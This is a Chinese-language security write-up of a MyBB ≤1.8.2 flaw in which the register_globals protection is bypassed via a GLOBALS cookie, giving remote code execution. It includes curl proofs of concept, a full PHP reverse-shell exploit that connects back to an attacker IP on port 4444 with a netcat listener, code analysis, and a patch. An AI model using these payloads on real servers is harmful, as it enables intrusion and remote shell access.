MyBB \inc\class_core.php <= 1.8.2 unset_globals() Function Bypass and Remote Code Execution(Reverse Shell Exploit) Vulnerability

Andrew.Hann發表於2016-01-25

catalogue

1. 漏洞描述
2. 漏洞觸發條件
3. 漏洞影響範圍
4. 漏洞程式碼分析
5. 防禦方法
6. 攻防思考

 

1. 漏洞描述

MyBB's unset_globals() function can be bypassed under special conditions and it is possible to allows remote code execution.

Relevant Link:

https://cxsecurity.com/issue/WLB-2015120164
https://packetstormsecurity.com/files/134833/MyBB-1.8.2-Code-Execution.html
https://www.exploit-db.com/exploits/35323/


2. 漏洞觸發條件

0x1: POC1

//php.ini配置
1. request_order = "GP"
2. register_globals = On
//remote code execution by just using curl on the command line
3. curl --cookie "GLOBALS=1; shutdown_functions[0][function]=phpinfo; shutdown_functions[0][arguments][]=-1" http://30.9.192.207/mybb_1802/

PHP自動化驗證指令碼

<?php

// Exploit Title: MyBB <= 1.8.2 Reverse Shell Exploit
// Date: 15/12/2015
// Exploit Author: ssbostan
// Vendor Homepage: http://www.mybb.com/
// Software Link: http://resources.mybb.com/downloads/mybb_1802.zip
// Version: <= 1.8.2
// Tested on: MyBB 1.8.2

$target="http://localhost/mybb1802/index.php";
$yourip="ipaddress";
$ch=curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
curl_setopt($ch, CURLOPT_COOKIE, "GLOBALS=1; shutdown_functions[0][function]=exec; shutdown_functions[0][arguments][]=php%20%2Dr%20%27%24sock%3Dfsockopen%28%22$yourip%22%2C%204444%29%3Bexec%28%22%2Fbin%2Fsh%20%2Di%20%3C%263%20%3E%263%202%3E%263%22%29%3B%27;");
curl_setopt($ch, CURLOPT_URL, $target);
curl_exec($ch);
curl_close($ch);

// nc -l 4444
// php mybb-1802-core-exploit.php

?>

0x2: POC2

//php.ini
1. disable_functions = ini_get
2. register_globals = On
//url
3. index.php?shutdown_functions[0][function]=phpinfo&shutdown_functions[0][arguments][]=-1

0x3: POC3

//php.ini配置
1. request_order = "GP"
2. register_globals = On
//url
curl --cookie "GLOBALS=1; shutdown_queries[]=SQL_Inj" http://www.target/css.php
//Works on disable_functions = ini_get and register\_globals = On:
css.php?shutdown_queries[]=SQL_Inj

 
3. 漏洞影響範圍

MyBB 1.8 <= 1.8.2 and MyBB 1.6 <= 1.6.15


4. 漏洞程式碼分析

\mybb_1802\inc\class_core.php

..
// If we've got register globals on, then kill them too
/*
When PHP's register_globals configuration set on, MyBB will call unset_globals() function
all global variables registered by PHP from $_POST, $_GET, $_FILES, and $_COOKIE arrays will be destroyed.
這是MyBB做的一種安全機制,在每個PHP指令碼請求的開始進行"超全域性變數自動註冊反向處理",抵消可能出現的register_globals導致的安全問題
*/
if(@ini_get("register_globals") == 1)
{
    $this->unset_globals($_POST);
    $this->unset_globals($_GET);
    $this->unset_globals($_FILES);
    $this->unset_globals($_COOKIE);
}
..
/**
 * Unsets globals from a specific array.
 *
 * @param array The array to unset from.
 */
function unset_globals($array)
{
    if(!is_array($array))
    {
        return;
    }

    foreach(array_keys($array) as $key)
    {
        unset($GLOBALS[$key]);
        unset($GLOBALS[$key]); // Double unset to circumvent the zend_hash_del_key_or_index hole in PHP <4.4.3 and <5.1.4
    }
}

這個邏輯看起來好像沒問題,而且是出於安全方面的考慮進行了防禦性處理,但是因為PHP核心的一些特性,導致unset_globals()函式的執行能夠被繞過

1. 在正常情況下,通過GPC方式輸入的變數,即使開啟了register_globals,也會被自動進行unset $GLOBAL[$var]處理,這是MyBB自己實現了一套防禦低版本PHP誤開啟register_globals = On的程式碼邏輯,這防禦了本地變數覆蓋的發生
2. 但是存在一個特殊的變數GLOBALS,$GLOBALS超全域性陣列是PHP核心負責建立維護的,我們可以在程式中任意位置讀寫$GLOBALS['key'],PHP核心繫結了$GLOBALS陣列和global symbol table之間的連線
3. 如果黑客傳入: foo.php?GLOBALS=1,則MyBB會執行unset($GLOBALS["GLOBALS"]);這會直接導致$GLOBALS和global symbol table之間的連線
4. 注意到MyBB原始碼中這行程式碼
/*
\mybb_1802\inc\class_core.php
if(@ini_get("register_globals") == 1)
{
    ..
    $this->unset_globals($_COOKIE);
}
黑客注入的COOKIES為: GLOBALS=1; shutdown_functions[0][function]=phpinfo; shutdown_functions[0][arguments][]=-1
則程式碼邏輯會按如下執行
1. unset($GLOBALS["GLOBALS"]);
2. 則之後的unset($GLOBALS["shutdown_functions"]);就會失效,因為此時繫結已經不存在了
*/
5. 此時已經繞過了MyBB原生的變數覆蓋防禦機制

需要注意的是,MyBB的防禦框架裡注意到了這個問題
\mybb_1802\inc\class_core.php

..
function __construct()
{
    // Set up MyBB
    $protected = array("_GET", "_POST", "_SERVER", "_COOKIE", "_FILES", "_ENV", "GLOBALS");
    foreach($protected as $var)
    {
        if(isset($_REQUEST[$var]) || isset($_FILES[$var]))
        {
            die("Hacking attempt");
        }
    }
    ..

MyBB的本意是阻止請求引數中出現GET/POST/GLOBALS這種可能影響全域性變數引數的值,但是問題在PHP中的$_REQUEST也是一個超全域性變數,它的值受php.ini影響,在PHP5.3以後,request_order = "GP",也就是說,$_REQUEST只包括GET/POST中的引數,這直接導致了對COOKIES的敏感引數過濾失效,所以,黑客可以在COOKIES中放入變數覆蓋攻擊payload

GLOBALS=1; shutdown_functions[0][function]=exec; shutdown_functions[0][arguments][]=php%20%2Dr%20%27%24sock%3Dfsockopen%28%22$yourip%22%2C%204444%29%3Bexec%28%22%2Fbin%2Fsh%20%2Di%20%3C%263%20%3E%263%202%3E%263%22%29%3B%27;

稍微總結一下,這個利用前提條件有2種場景

1. MyBB <= PHP 5.3: request_order = "GP"
2. PHP 5.3 <= MyBB <= PHP 5.4: register_globals = On 

理解了變數覆蓋發生的前提,下一步看攻擊Payload是如何構造並觸發本地變數覆蓋的
\mybb_1802\inc\class_core.php

//class_core.php幾乎是所有頁面指令碼都會呼叫到的檔案,下面的解構函式會被頻繁呼叫
function __destruct()
{
    // Run shutdown function
    if(function_exists("run_shutdown"))
    {
        run_shutdown();
    }
}

run_shutdown();
\mybb_1802\inc\functions.php

/**
 * Runs the shutdown items after the page has been sent to the browser.
 *
 */
function run_shutdown()
{
    //the $shutdown_functions was initialized via add\_shutdown() function in init.php
    //但是因為本地變數覆蓋漏洞的存在,這裡$shutdown_functions可以被劫持
    global $config, $db, $cache, $plugins, $error_handler, $shutdown_functions, $shutdown_queries, $done_shutdown, $mybb;

    if($done_shutdown == true || !$config || (isset($error_handler) && $error_handler->has_errors))
    {
        return;
    }
    ..
    // Run any shutdown functions if we have them
    if(is_array($shutdown_functions))
    {
        foreach($shutdown_functions as $function)
        {
            call_user_func_array($function['function'], $function['arguments']);
        }
    }
    ..

Relevant Link:

http://0day.today/exploit/22913


5. 防禦方法

\inc\class_core.php

class MyBB {
    ..
    function __construct()
    {
        // Set up MyBB
        $protected = array("_GET", "_POST", "_SERVER", "_COOKIE", "_FILES", "_ENV", "GLOBALS");
        foreach($protected as $var)
        {
            /*if(isset($_REQUEST[$var]) || isset($_FILES[$var]))*/
            if(isset($_GET[$var]) || isset($_POST[$var]) || isset($_COOKIE[$var]) || isset($_FILES[$var]))
            {
                die("Hacking attempt");
            }
        }
        ..

Relevant Link:

http://blog.mybb.com/2014/11/20/mybb-1-8-3-1-6-16-released-security-releases/
http://cn.313.ninja/exploit/22913


6. 攻防思考

Copyright (c) 2016 Little5ann All rights reserved

 

相關文章